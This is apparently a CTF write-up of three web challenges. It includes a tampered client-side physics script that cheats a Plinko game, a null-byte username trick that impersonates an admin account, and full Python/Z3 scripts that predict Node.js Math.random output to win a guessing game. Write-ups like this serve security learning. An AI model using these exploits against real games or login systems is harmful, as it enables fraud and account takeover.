web/plinko
Description
I was tired of the rigged gambling games online, so I made this completely fair version of plinko. Don’t try and cheat me.
Site - plinko.chall.lac.tf
Solve
Overwrite the physics.js in the website source so that the two side bars are removed. The server side checking will only check if a collision that the client reports really happens. It never checks if a collision does not happen when it should so we can remove side pieces that would block the ball from reaching large multipliers.
Change it to:
// module aliases
var Engine = Matter.Engine,
Render = Matter.Render,
Runner = Matter.Runner,
Bodies = Matter.Bodies,
Composite = Matter.Composite;
// create an engine
// create balls and pins
const colors = [
"#00ff00", "#1ce300", "#39c600", "#55aa00", "#718e00", "#8e7100",
"#aa5500", "#c63900", "#e31c00", "#ff0000", "#e31c00", "#c63900",
"#aa5500", "#8e7100", "#718e00", "#55aa00", "#39c600", "#1ce300",
"#00ff00"
];
// SETTING UP THE PINS AND WALLS AND GROUND
const pins = [];
const dropZones = [];
for (let row=5; row<16; row++) {
const middleSpace = 65*(row-1);
const frontPad = (1000-middleSpace)/2
for (let pin=0; pin<row; pin++) {
if(row >= 7 && (pin >= 3 && pin <= (row - 4))) {
let pinBody = Bodies.circle(pin*65+frontPad, (row-4)*85-10, 5, {isStatic: true, label: "obstacle", isSensor: true, render: {fillStyle: 'blue'}});
pins.push(pinBody);
}
//let pinBody = Bodies.circle(pin*65+frontPad, (row-4)*85-10, 5, {isStatic: true, label: "obstacle", isSensor: true, render: {fillStyle: 'blue'}});
//pins.push(pinBody);
}
}
// 19 drop zones with varying points
for (let i=0; i<19; i++) {
let width = 1000/19;
let dropZone = Bodies.rectangle(i*width+width/2, 1000, width, 60, { isStatic: true, friction: 0, isSensor: true, render: {fillStyle: colors[i]}});
dropZones.push(dropZone);
}
const ground = Bodies.rectangle(500, 1000, 1000, 60, { isStatic: true, friction: 0, label: 'obstacle', isSensor: true});
const leftWall = Bodies.rectangle(190, 480, 1, 1100, {isStatic: true, angle: Math.PI/8.6, label: 'obstacle', isSensor: true, render: {fillStyle: 'blue'}});
const rightWall = Bodies.rectangle(810, 480, 1, 1100, {isStatic: true, angle: -Math.PI/8.6, label: 'obstacle', isSensor: true, render: {fillStyle: 'blue'}});
const allBodies = pins.concat([ground, leftWall, rightWall]).concat(dropZones);
// add all of the bodies to the world
let socket = null;
// DONE SETTING UP THE PINS AND BALLS
async function setup() {
if (socket) {
return;
}
var engine = Engine.create();
// create a renderer
var render = Render.create({
element: document.body,
engine: engine,
options: {
width: 1000,
height: 1000,
wireframes: false
}
});
let runner = Runner.create();
Composite.add(engine.world, allBodies);
const wsUrl = location.protocol.replace("http", "ws") + "//" + location.host;
socket = new WebSocket(wsUrl);
const currMoney = parseInt(document.getElementById("moneyCounter").innerText);
document.getElementById("moneyCounter").innerText = currMoney-100;
let ball = Bodies.circle(500, 10, 10, {label: "ball", mass: 1, friction: 0, frictionAir: 0});
Composite.add(engine.world, [ball]);
// add ball to the world and connect to the socket
socket.onopen = async() => {
console.log('Connected to WebSocket server');
socket.send(JSON.stringify({"msgType": "join", "ballPos": ball.position, "ballVelo": ball.velocity, "time": engine.timing.timestamp}));
const resp = await waitForMessage();
if ("error" in JSON.parse(resp)) window.location = "/login";
};
function waitForMessage() {
return new Promise((resolve) => {
function handler(event) {
socket.removeEventListener("message", handler);
resolve(event.data);
}
socket.addEventListener("message", handler);
});
}
Matter.Events.off(engine, "collisionStart");
// fires on any collision
Matter.Events.on(engine, "collisionStart", (event) => {
event.pairs.forEach(async(pair) => {
if ((pair.bodyA.label === "ball" || pair.bodyB.label === "ball") && (pair.bodyA.label === "obstacle" || pair.bodyB.label === "obstacle")) {
Runner.stop(runner);
engine.enabled = false;
let collisionTime = engine.timing.timestamp;
var ball = pair.bodyA.label === "ball" ? pair.bodyA : pair.bodyB;
let collisionPos = {'x': ball.position.x, 'y': ball.position.y};
var obs = pair.bodyA.label === "obstacle" ? pair.bodyA : pair.bodyB;
socket.send(JSON.stringify({"msgType": "collision", "velocity": ball.velocity, "position": ball.position, "obsPosition": obs.position, "time": engine.timing.timestamp}));
const resp = await waitForMessage();
if (parseInt(resp)>=0) {
// Ball hit the ground
const currMoney = parseInt(document.getElementById("moneyCounter").innerText);
document.getElementById("moneyCounter").innerText = currMoney+parseInt(resp);
socket.close();
socket = null;
document.getElementById("drop").removeAttribute("disabled");
Runner.stop(runner);
engine.enabled = false;
Composite.remove(engine.world, ball);
Matter.World.clear(engine.world, false);
if (render.canvas) {
render.canvas.remove();
}
return;
}
else {
respJSON = JSON.parse(resp);
if ("error" in respJSON) {
// You either cheated or you're not logged in
socket.close();
if (respJSON['error'] === "Not logged in") window.location = "/login";
Composite.remove(engine.world, ball);
Matter.World.clear(engine.world, false);
// document.querySelector('canvas').remove();
socket = null;
document.getElementById("drop").removeAttribute("disabled");
return;
}
engine.timing.timestamp = collisionTime;
Matter.Body.setPosition(ball, collisionPos);
Matter.Body.setVelocity(ball, JSON.parse(resp));
engine.enabled = true;
Runner.run(runner, engine);
}
}
});
});
Matter.Events.off(engine, "afterUpdate");
Matter.Events.on(engine, "afterUpdate", () => {
console.log("Update step:", engine.timing.timestamp);
// Example: Log velocity of a specific body
console.log("Position of bodyA", ball.position);
console.log("Velocity of bodyA:", ball.velocity);
});
Render.run(render);
Runner.run(runner, engine);
}
document.getElementById("drop").addEventListener("click", () => {
setup();
document.getElementById("drop").setAttribute("disabled", true);
});
After this the average outcome of the game will be positive so you can run the play button on a loop and reach $10,000.
web/arclbroth
Description
I heard Arc’blroth was writing challenges for LA CTF. Wait, is it arc’blroth or arcl broth?
Solution
In order to receive the flag in this challenge, we must POST the /brew endpoint while our user has 50 or more arc. The user starts with 10 arc and the only way to increase it beyond 10, is if someone with the username admin POSTs the /replenish endpoint. Our issue is that there is already a user admin made and the application prevents duplicate users. One strange fact is that this application uses a very unknown js sqlite library named secure-sqlite which at first glance looks pretty ordinary. The exploit is infact how sqlite handles null bytes. Sqlite will store null bytes perfectly fine, but selecting them, the database will return all charecters up to that byte. When comparing the strings in a select statement such as
SELECT * FROM users WHERE username=${username}
through, the database will compares all the bytes of the two terms. If we provide a payload such as admin\0_exploit where \0 represents a null byte, the two terms will not be equal so the server will assume it as a new username. When the /replenish endpoint selects the username though, the database will provide all bytes up to the null byte so it will select just admin which will equal admin. This will give 100 arc to all users. We then hit the /brew endpoint to get the flag.
web/whats-my-number
Description
Wha’s my numba?
Deploy challenge
Fallback if link above breaks: whats-my-number.chall.lac.tf
Solve
This is probably one of the more complicated web challenges I have done. Just from a glance at the only provided index.js file:
const express = require("express");
const path = require("path");
const fs = require("fs");
const http = require("http");
const app = express();
const PORT = process.env.PORT || 3000;
const SPAM_PERIOD = 40;
let total_guesses = 0;
function getRandom() {
return Math.floor(Math.random() * 1e9);
}
app.use(express.static(path.join(__dirname, "../public")));
// Endpoint to get a random number
app.get("/api/random", (req, res) => {
const randomNumber = getRandom();
res.json({ randomNumber });
});
// Endpoint to guess a number
app.get("/api/guess", (req, res) => {
const guess = req.query.num;
let guess_num;
total_guesses += 1;
try {
guess_num = parseInt(guess);
} catch (error) {
console.error("Could not parse guess:", guess);
res.status(500).json({ error: "Could not parse guess" });
return;
}
if (isNaN(guess_num)) {
console.error("Could not parse guess:", guess);
res.status(500).json({ error: "Could not parse guess" });
return;
}
let test_num = getRandom();
if (test_num === guess_num) {
fs.readFile(path.join(__dirname, "../flag.txt"), "utf-8", (err, flag) => {
if (err) {
console.error("Failed to read flag file", err);
res.status(500).json({
error: "Error reading flag file, please contact CTF organizers",
});
return;
}
const response_msg = flag;
res.json({ response_msg, total_guesses });
});
} else {
let response_msg = "Wrong number! The right number is: " + test_num;
res.json({ response_msg, total_guesses });
}
});
// Start the server
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
// Spam requests to the server at some fixed interval
// Use a persistent http session
let failed_requests = 0;
const start_spamming = () => {
console.log("Starting spam requests");
const agent = new http.Agent({ keepAlive: true });
const send_request = () => {
const options = {
hostname: "localhost",
port: PORT,
path: "/api/random",
method: "GET",
agent: agent,
};
const req = http.request(options, (res) => {
let data = "";
res.on("data", (chunk) => {
data += chunk;
failed_requests = 0;
});
});
req.on("error", (error) => {
console.error("Request error: ", error);
failed_requests++;
// If 10 requests in a row fail, exit the program; something is wrong
if (failed_requests >= 10) {
console.error("Too many requests failing! Exiting program.");
process.exit(1);
}
});
req.end();
};
setInterval(send_request, SPAM_PERIOD);
};
setTimeout(start_spamming, 500);
we see that this is a random prediction problem. We have to predict the random values of NodeJS. This by itself is a pretty easy task and there are many libraries which assist with this.
The first difficult caveat is the Math.floor(Math.random() * 1e9). We only get about half of the random number so we somehow have to predict based on this. This is also fine as there is a random number predictor that can do this: https://github.com/JorianWoltjer/v8_rand_buster. We need a couple of digits for this script to work and it will solve for the seed of the random. I suggest reading through the repositories README.md as a provides a lot of good information on how NodeJS’s random function works (it is in chunks and reverse). After a bit of testing with this library, I saw that the prediction feature of it would print previous random numbers instead of next ones. To solve this, I found another library which predicts full random numbers, but can also be used with just a seed to predict the next number. Intertwining these two libraries, I was able to make a script that would predict the next number recursively. The script would get the seed from library 1, pass it to libarary 2 to get the next random, add the next random to the stack then get the seed again and repeat.
Now comes the challenge’s next caveat. The server will generate a new random number every 40 miliseconds. This means that we somehow either have to drastically modify our solve script to be able to work with numbers missing, or make it so fast that we can pull our first seed within the 40 milisecond interval. I chose the second option since I didn’t have enough time to rewrite and understand the Z3 solve equation. Through some testing I found that we only needed about 6 numbers for the first library to generate a seed. Also the seeds come in a pair: (state0, state1) and the next numbers state1 would always be the current numbers state0. This meant that our script had to solve for one less numbers so I stored the value of state1 and modified the script a bit to account for this. The second issue was the ping to the server (about 50ms from my university) which would prevent basically any attack that relied on precise timing. To solve this I just bought a server at the same location as the host (GCP Oregon). From here I had under 1 ms ping. I also made the python requests library use sessions so that the connection would stay alive in between checks.
While our script was pretty fast, it could not pull the 6 random numbers, generate a new state from scratch, and output a new random number all under 40ms. Despite this, we are able to generate new numbers under 40ms since we have states beforehand so our equation is solved much quicker. In our solve script, we generate numbers as quick as possible and asynchronously submit them to the server for approval.
solve.py
import struct
import math
from math import ceil, log10
import requests
import os
from pathlib import Path
import sys
from xs128p import create_solver, create_solver_state1
from z3 import *
import itertools
import time
from concurrent.futures import ThreadPoolExecutor
MAX_THREADS = 8
solved = False
executor = ThreadPoolExecutor(max_workers=MAX_THREADS)
MULT = 1000000000
seen_nums = []
BASE = "http://localhost:3000"
BASE = "https://whats-my-number-9ol1x.instancer.lac.tf"
s = requests.Session()
# Try to get atleast 10 numbers before running
nums = []
seed = 0
def get_next_rand(state0):
"""
Gets the next random number
"""
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
next_sequence -= 1
return next_sequence
def dec_to_multiplied(num):
"""
Converts a number to a multiplied number
"""
return math.floor(num * MULT)
def get_random_number():
req = s.get(BASE+"/api/random")
return req.json()["randomNumber"]
def get_offset(multiple):
return 10**(ceil(log10(multiple))-1)
def perm_reverse(samples, multiple):
"""Due to the cache being a Last In First Out (LIFO) structure, we get the samples in reverse."""
return samples[::-1], multiple
def perm_offset(samples, multiple):
"""Guess common offset like `Math.floor(9000 * Math.random()) + 1000` to make n-digit numbers"""
offset = get_offset(multiple)
samples = list(map(lambda x: x - offset, samples))
if any(map(lambda x: x < 0, samples)):
return None, None # Impossible if any sample is negative
return samples, multiple - offset
def perm_minus_one(samples, multiple):
"""Multiple could be 9999 instead of 10000"""
return samples, multiple - 1
def perm_half_first(samples, multiple):
"""Inputs may lie on a 64-wide cache boundary so we try both the first and second half so that at least one works."""
mid = len(samples)//2
return samples[:mid], multiple
def perm_half_last(samples, multiple):
mid = len(samples)//2
return samples[mid:], multiple
permutations = [
perm_reverse,
perm_offset,
perm_minus_one,
perm_half_first,
perm_half_last,
]
def find_with_permutations(samples, multiple):
for l in range(len(permutations)+1):
for perm in itertools.combinations(permutations, l):
if perm_half_first in perm and perm_half_last in perm:
continue # mutually exclusive
perm_samples = samples
perm_multiple = multiple
for p in perm:
perm_samples_, perm_multiple_ = p(perm_samples, perm_multiple)
if perm_samples_ is None or perm_multiple_ is None:
print("Impossible permutation:",
p.__name__.split("perm_")[1])
break
perm_samples, perm_multiple = perm_samples_, perm_multiple_
#print("-"*80)
#print("Permutation:", [p.__name__.split("perm_")[1] for p in perm])
#print("Samples:", perm_samples)
#print("Multiple:", perm_multiple)
if seed == 0:
s, (state0_, state1_) = create_solver(perm_samples, perm_multiple)
if s.check() == sat:
m = s.model()
state0 = m[state0_].as_long()
state1 = m[state1_].as_long()
s.add(Or(state0 != state0_, state1 != state1_))
if s.check() == sat:
m = s.model()
#print("WARNING: multiple solutions found! use more samples!")
#print(f"1. {state0},{state1}")
#print(f"2. {m[state0_].as_long()},{m[state1_].as_long()}")
#print("...")
continue
return (state0, state1), perm
else:
pass
else:
s, (state0_, state1_) = create_solver_state1(perm_samples, perm_multiple, seed)
if s.check() == sat:
m = s.model()
state0 = m[state0_].as_long()
#state1 = m[state1_].as_long()
#s.add(Or(state0 != state0_, state1 != state1_))
#if s.check() == sat:
# m = s.model()
#print("WARNING: multiple solutions found! use more samples!")
#print(f"1. {state0},{state1}")
#print(f"2. {m[state0_].as_long()},{m[state1_].as_long()}")
#print("...")
# continue
return (state0, seed), perm
else:
pass
return (None, None), None
def find_multiple(samples):
max_sample = max(samples)
multiple = 1
while multiple < max_sample:
multiple *= 10
return multiple
def get_seed():
#print("Starting permutations...")
(state0, state1), perm = find_with_permutations(nums, MULT)
#print()
if state0 is None and state1 is None:
pass
else:
#print(f"Found states: {state0},{state1}")
return state0
# explain_permutations(perm, (state0, state1), MULT)
def submit_solve(guess):
req = s.get(BASE + "/api/guess?num=" + str(guess))
if req.status_code != 200:
#print("Error: " + str(req.status_code))
sys.exit(1)
data = req.json()['response_msg']
#print(data)
if "Wrong number" in data:
num = int(data.split(": ")[1])
if num in seen_nums:
print("IT WAS A PREVIOUS NUMBER")
else:
print("Solved")
print(data)
sys.exit(0)
start_milis = int(round(time.time() * 1000))
while(len(nums) < 6):
rand = get_random_number()
nums.append(rand)
print(nums)
end_milis = int(round(time.time() * 1000))
print("Time taken: " + str(end_milis - start_milis) + "ms")
start_milis = int(round(time.time() * 1000))
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
print(multipled)
end_milis = int(round(time.time() * 1000))
for i in range(50):
if end_milis-start_milis < 40:
executor.submit(submit_solve, multipled)
start_milis = int(round(time.time() * 1000))
nums.append(multipled)
nums.pop(0)
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
print(multipled)
seen_nums.append(multipled)
end_milis = int(round(time.time() * 1000))
submit_solve(multipled)
print("Time taken: " + str(end_milis - start_milis) + "ms")
"""
for i in range(50):
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
nums.append(multipled)
# Remove the first element
nums.pop(0)
print(multipled)
"""
xs128p.py
#!/usr/bin/env python3
import argparse
from pathlib import Path
import struct
from decimal import *
import os
from z3 import *
MAX_UNUSED_THREADS = 2
def log(*args, **kwargs):
print(*args, **kwargs, file=sys.stderr)
# Calculates xs128p (XorShift128Plus)
def xs128p(state0, state1):
s1 = state0 & 0xFFFFFFFFFFFFFFFF
s0 = state1 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
state0 = state1 & 0xFFFFFFFFFFFFFFFF
state1 = s1 & 0xFFFFFFFFFFFFFFFF
generated = state0 & 0xFFFFFFFFFFFFFFFF
return state0, state1, generated
def sym_xs128p(sym_state0, sym_state1):
# Symbolically represent xs128p
s1 = sym_state0
s0 = sym_state1
s1 ^= (s1 << 23)
s1 ^= LShR(s1, 17)
s1 ^= s0
s1 ^= LShR(s0, 26)
sym_state0 = sym_state1
sym_state1 = s1
# end symbolic execution
return sym_state0, sym_state1
# Symbolic execution of xs128p
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)
# "::ToDouble"
calc = LShR(sym_state0, 12)
"""
Symbolically compatible Math.floor expression.
Here's how it works:
64-bit floating point numbers are represented using IEEE 754 (https://en.wikipedia.org/wiki/Double-precision_floating-point_format) which describes how
bit vectors represent decimal values. In our specific case, we're dealing with a function (Math.random) that only generates numbers in the range [0, 1).
This allows us to make some assumptions in how we deal with floating point numbers (like ignoring parts of the bitvector entirely).
The 64bit floating point is laid out as follows
[1 bit sign][11 bit expr][52 bit "mantissa"]
The formula to calculate the value is as follows: (-1)^sign * (1 + Sigma_{i=1 -> 52}(M_{52 - i} * 2^-i)) * 2^(expr - 1023)
Therefore 0_01111111111_1100000000000000000000000000000000000000000000000000 is equal to "1.75"
sign => 0 => ((-1) ^ 0) => 1
expr => 1023 => 2^(expr - 1023) => 1
mantissa => <bitstring> => (1 + sum(M_{52 - i} * 2^-i) => 1.75
1 * 1 * 1.75 = 1.75 :)
Clearly we can ignore the sign as our numbers are entirely non-negative.
Additionally, we know that our values are between 0 and 1 (exclusive) and therefore the expr MUST be, at most, 1023, always.
What about the expr?
"""
lower = from_double(Decimal(generated) / Decimal(multiple))
upper = from_double((Decimal(generated) + 1) / Decimal(multiple))
lower_mantissa = (lower & 0x000FFFFFFFFFFFFF)
upper_mantissa = (upper & 0x000FFFFFFFFFFFFF)
upper_expr = (upper >> 52) & 0x7FF
slvr.add(And(lower_mantissa <= calc, Or(
upper_mantissa >= calc, upper_expr == 1024)))
return sym_state0, sym_state1
def create_solver(points, multiple):
# setup symbolic state for xorshift128+
state0, state1 = BitVecs('state0 state1', 64)
sym_state0, sym_state1 = state0, state1
set_option("parallel.enable", True)
set_option("parallel.threads.max", (
max(os.cpu_count() - MAX_UNUSED_THREADS, 1))) # will use max or max cpu thread support, whatever is smaller
s = SolverFor(
"QF_BV") # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)
for point in points:
sym_state0, sym_state1 = sym_floor_random(
s, sym_state0, sym_state1, point, multiple)
return s, (state0, state1)
def create_solver_state1(points, multiple, state1_val):
# setup symbolic state for xorshift128+
state0 = BitVec('state0', 64)
state1 = BitVecVal(state1_val, 64)
sym_state0 = state0
sym_state1 = state1
set_option("parallel.enable", True)
set_option("parallel.threads.max", (
max(os.cpu_count() - MAX_UNUSED_THREADS, 1))) # will use max or max cpu thread support, whatever is smaller
s = SolverFor(
"QF_BV") # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)
for point in points:
sym_state0, sym_state1 = sym_floor_random(
s, sym_state0, sym_state1, point, multiple)
return s, (state0, state1)
def to_double(value):
"""
https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111
"""
double_bits = (value >> 12) | 0x3FF0000000000000
return struct.unpack('d', struct.pack('<Q', double_bits))[0] - 1
def from_double(dbl):
"""
https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111
This function acts as the inverse to @to_double. The main difference is that we
use 0x7fffffffffffffff as our mask as this ensures the result _must_ be not-negative
but makes no other assumptions about the underlying value.
That being said, it should be safe to change the flag to 0x3ff...
"""
return struct.unpack('<Q', struct.pack('d', dbl + 1))[0] & 0x7FFFFFFFFFFFFFFF
def get_args():
parser = argparse.ArgumentParser(
description="Uses Z3 to predict future states for 'Math.floor(MULTIPLE * Math.random())' given some consecutive historical values. Pipe unbucketed points in via STDIN.")
parser.add_argument('samples', type=Path, nargs='?',
help="The file containing the leaked, unbucketed points")
parser.add_argument('-m', '--multiple', required=True, type=float,
help="Specifies the multiplier used in 'Math.floor(MULTIPLE * Math.random())'")
parser.add_argument('-o', '--output', type=Path,
help="Output file to write constraints to instead of solving (useful for github.com/SRI-CSL/yices2)")
parser.add_argument('-s', '--state',
help="Instead of predicting state, take a state pair and generate output. (state0,state1)")
parser.add_argument('-g', '--gen', default=5, type=int,
help="Number of predictions to generate")
parser.add_argument('-a', '--add', type=int, default=0,
help="Offset to add to all input samples and output predictions")
parser.add_argument('-i', '--include-samples', action='store_true',
help="Include the samples in the prediction output")
args = parser.parse_args()
if args.state is not None:
args.state = list(map(lambda x: int(x), args.state.split(",")))
if args.samples is not None:
args.samples = list(map(lambda line: int(line),
args.samples.read_text().splitlines()))
elif args.state is None:
args.samples = list(map(lambda line: int(line), sys.stdin.readlines()))
assert args.samples is None or len(args.samples) > 0, \
"Failed reading samples"
return args
if __name__ == "__main__":
"""
# -----------------------------------------------------------------------------------------------------------------------------------------------------------
# Relevant v8 Code to understand this solver:
# Math.Random Implementation (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/builtins/builtins-math-gen.cc#L402)
# Uses a precomputed cache of values to make subsequent calls to Math.random quick
# This source will refer to this as "bucketing" as it puts the random values in "buckets" that we use until they are empty.
# After the bucket is empty, we make a call to RefillCache (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L36)
# which populates the cache (bucket) with 64 () new random values. If the cache is not empty when Math.random is called,
# we pop the next value off the rear of the array until we're at `MATH_RANDOM_INDEX_INDEX` == 0 again for a refill.
# Notable hurdles in implementation:
# Unlike previous and similar implementations of xs128p, Chrome only uses `state_0` for converting and storing cached randoms
# > (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L64)
# > vs (https://github.com/v8/v8/commit/ac66c97cfddc1e9fd89b494950ecf8a1a260bc80#diff-202872834c682708e9294600f73e4d15L115) (PRE SEPT 2018)
# -----------------------------------------------------------------------------------------------------------------------------------------------------------
"""
args = get_args()
state = args.state
if state is None:
if not all(map(lambda x: 0 <= x < args.multiple, args.samples)):
log("[-] Error: All points must be in the range [0, MULTIPLE)")
exit(1)
log(f"Inputs ({len(args.samples)}):", args.samples)
args.samples = [n + args.add for n in args.samples]
s, (state0, state1) = create_solver(args.samples, args.multiple)
if args.output is not None:
with open(args.output, "w") as f:
# Export z3 constraints to file, for other runners
f.write("(set-logic QF_BV)\n")
f.write(s.to_smt2())
f.write("(get-model)")
log("Wrote constraints to z3.smt2.")
exit(0)
else:
log("Solving states...\n")
if s.check() == sat:
# get a solved state
m = s.model()
state0 = m[state0].as_long()
state1 = m[state1].as_long()
else:
log("""[-] Failed to find a valid solution. Some potential reasons:
- The generator does not use Math.random()
- The MULTIPLE value is incorrect
- You forgot a newline at the end of the input file, causing `tac` to merge the last value with the first value
- The input is not reversed
- The input was bucketed (not inside a 64-sample boundary)""")
exit(1)
else:
state0, state1 = state
if state0 is not None and state1 is not None:
log(f"[+] Found states: {state0},{state1}\n")
if args.gen > 0:
log(f"Predictions ({args.gen}):")
if args.samples is not None and not args.include_samples:
for _ in range(len(args.samples)):
state0, state1, _ = xs128p(state0, state1)
for _ in range(args.gen):
state0, state1, output = xs128p(state0, state1)
print(math.floor(args.multiple * to_double(output)) + args.add)
While this script may take a couple attempts to work as it relies on a good amount of chance (the 6 numbers we pull have to be sequential), it will work.